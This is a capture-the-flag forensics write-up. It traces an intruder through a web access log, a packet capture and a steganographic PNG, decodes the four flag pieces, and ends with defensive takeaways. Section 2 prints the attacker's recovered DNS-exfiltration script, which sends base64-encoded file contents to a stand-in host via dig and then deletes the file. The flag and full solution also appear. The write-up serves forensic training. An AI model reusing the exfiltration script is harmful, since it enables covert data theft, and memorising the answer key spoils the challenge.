Dead Drop: Incident Response
On this page
Flag: KPMG_CTF{tr4ce_the_intrud3r_follow_the_tr4il}
Scenario
An internet-facing server, web01.northstar.local (192.168.56.20), was compromised. We have
three artifacts: incident.pcap, access.log and server_image.png. The attacker took data
out of the network and tried to cover their tracks. The flag is split into four pieces spread
across all three files, and each piece uses a different encoding.
1. Triage the access log
access.log has 1,201 lines, mostly normal traffic from the internal 192.168.56.0/24 range.
Filtering out the common paths (/health, /assets/*, /dashboard, /login, …) leaves the
unusual requests:
grep -vE '"(GET|POST) /(api/v1/tickets[/0-9]*|assets/[a-z.]+|health|favicon\.ico|dashboard|login|docs/handbook|reports/q3\.pdf)? HTTP' access.log
One client stands out: 203.0.113.77. Its activity, in time order:
| Time (IST) | Request | Meaning |
|---|---|---|
| 01:42:50 | GET /.env, /admin (403) |
Reconnaissance |
| 01:43:05–12 | POST /admin/login → 401, 401, 200 |
Login after two failed attempts |
| 01:43:31 | GET /admin/users |
Lists the users |
| 01:44:10–01:45:08 | /robots.txt, /backup.zip, /.git/HEAD, /upload … |
More probing |
| 01:47:05 | GET /admin/export?table=customers (2.4 MB) |
Data theft |
| 01:47:40 | GET /admin/export?table=credentials |
Data theft |
| 01:49:15 | POST /admin/upload?file=deaddrop.sh (UA DeadDrop-Agent/1.0) |
Uploads the exfiltration tool |
| 01:51:58 | GET /uploads/server_image.png |
The image artifact |
| 01:54:20 | GET /admin/logs |
Reads the logs |
| 02:07:10 | POST /admin/clearlogs |
Covers tracks |
Grepping for the attacker’s custom user agent and the deaddrop tag finds the hidden pieces:
grep -nE '^\s|DeadDrop|deaddrop' access.log
312: 203.0.113.77 ... "POST /admin/notes?tag=deaddrop&layers=rot13,base64 ..." <- indented line
401:203.0.113.77 [01:12:03] "GET /static/img/px.gif?part=1&d=X3ZhZ2VocTNl ..."
601:203.0.113.77 [03:00:20] "GET /static/img/px.gif?part=2&d=X3NieXliag== ..."
- Line 312 has a leading space and gives the encoding:
layers=rot13,base64. - Lines 401 and 601 are disguised as requests for a tracking pixel (
px.gif), the same kind of request legitimate clients make with?cb=. Their timestamps (01:12, before the attacker arrived, and 03:00) are out of order, which means the log was tampered with.
To decode, undo the layers in reverse order (base64 first, then ROT13):
$ echo X3ZhZ2VocTNl | base64 -d | tr 'A-Za-z' 'N-ZA-Mn-za-m'
_intrud3r
$ echo X3NieXliag== | base64 -d | tr 'A-Za-z' 'N-ZA-Mn-za-m'
_follow
Piece 1: _intrud3r · Piece 2: _follow
2. The network capture: DNS exfiltration
A conversation summary shows that most traffic involves 203.0.113.77:
tcpdump -nn -r incident.pcap | awk '{print $3,$4,$5}' | sed -E 's/\.[0-9]+ / /; s/\.[0-9]+:?$//' | sort | uniq -c | sort -rn
Other hosts in the capture:
- 198.51.100.14: the Nmap scan seen in the log.
- 192.0.2.88: short SSH sessions (
SSH-2.0-Goclient), probably brute force. They’re encrypted and not needed for the flag.
The HTTP traffic is plaintext, so the uploaded deaddrop.sh can be read straight from the
capture:
tcpdump -nn -A -r incident.pcap 'tcp and host 203.0.113.77' | grep -A10 'deaddrop v1.2'
# deaddrop v1.2 - exfil over DNS
# usage: ./deaddrop.sh <file>
DATA=$(cat "${1:-/tmp/.note}" | base64 -w0)
dig +short "$DATA.deaddrop.example" @192.168.56.2
rm -f /tmp/.note
echo "[deaddrop] drop complete"
The script base64-encodes a file and sends it as the subdomain of a DNS lookup, then deletes the source file. Listing the DNS queries shows one odd name among the normal ones (github.com, pypi.org, …):
$ tcpdump -nn -r incident.pcap 'udp port 53' | grep -oE 'A\? [^ ]+' | sort | uniq -c
3 A? S1BNR19DVEZ7dHI0Y2VfdGhl.deaddrop.example.
$ echo S1BNR19DVEZ7dHI0Y2VfdGhl | base64 -d
KPMG_CTF{tr4ce_the
Piece 0: KPMG_CTF{tr4ce_the
3. The image: LSB steganography
server_image.png (1280×800 RGB) looks like a harmless maintenance notice. It even says
“Nothing to see here. Move along.” Its chunks are clean (IHDR / IDAT / IEND, no trailing
data), so the next place to check is the pixel data.
Taking the least significant bit of each R, G, B byte in row-major order and packing the bits MSB-first:
from PIL import Image
import numpy as np
a = np.array(Image.open('server_image.png').convert('RGB')).reshape(-1)
print(np.packbits(a & 1).tobytes()[:64])
# b'DEAD_DROP::L52GQZK7ORZDI2LMPU======::END...'
The = padding to an 8-character block and the A–Z2–7 alphabet mean base32:
$ echo L52GQZK7ORZDI2LMPU====== | base32 -d
_the_tr4il}
Piece 3: _the_tr4il}
4. Putting it together
| # | Source | Hidden as | Encoding | Plaintext |
|---|---|---|---|---|
| 0 | incident.pcap |
DNS query subdomain | base64 | KPMG_CTF{tr4ce_the |
| 1 | access.log |
px.gif?part=1&d= |
base64 → ROT13 | _intrud3r |
| 2 | access.log |
px.gif?part=2&d= |
base64 → ROT13 | _follow |
| 3 | server_image.png |
RGB LSB | base32 | _the_tr4il} |
Piece 0 has the flag prefix, piece 3 has the closing brace, and the part= numbers order the
middle pieces:
KPMG_CTF{tr4ce_the_intrud3r_follow_the_tr4il}
Attack timeline
- Recon: an Nmap NSE scan from 198.51.100.14, then manual probing from 203.0.113.77
(
/.env,/.git/HEAD,/backup.zip, …). - Initial access:
/admin/loginsucceeded on the third attempt (credential guessing). - Collection: the
customersandcredentialstables were exported through/admin/export. - Tooling:
deaddrop.shwas uploaded through/admin/upload. - Exfiltration: data left over DNS to
*.deaddrop.examplethrough the internal resolver 192.168.56.2. More data was hidden in a PNG and in HTTP beacons disguised as tracking-pixel requests. - Anti-forensics:
/admin/clearlogswas called,/tmp/.notewas deleted, and log lines were reordered.
Takeaways
- Filter out the baseline first. Odd user agents (
DeadDrop-Agent/1.0), out-of-order timestamps and whitespace anomalies stand out once normal traffic is removed. - Look at DNS for long, high-entropy subdomains. That is a classic exfiltration channel.
- Plaintext HTTP in a capture often contains the attacker’s own tools.
- Check images for LSB data even when the image looks harmless.
- Recognize encodings by their alphabets: base64 (
A–Za–z0–9+/=), base32 (A–Z2–7,=padding), and ROT13 (base64 output that decodes to almost-readable text).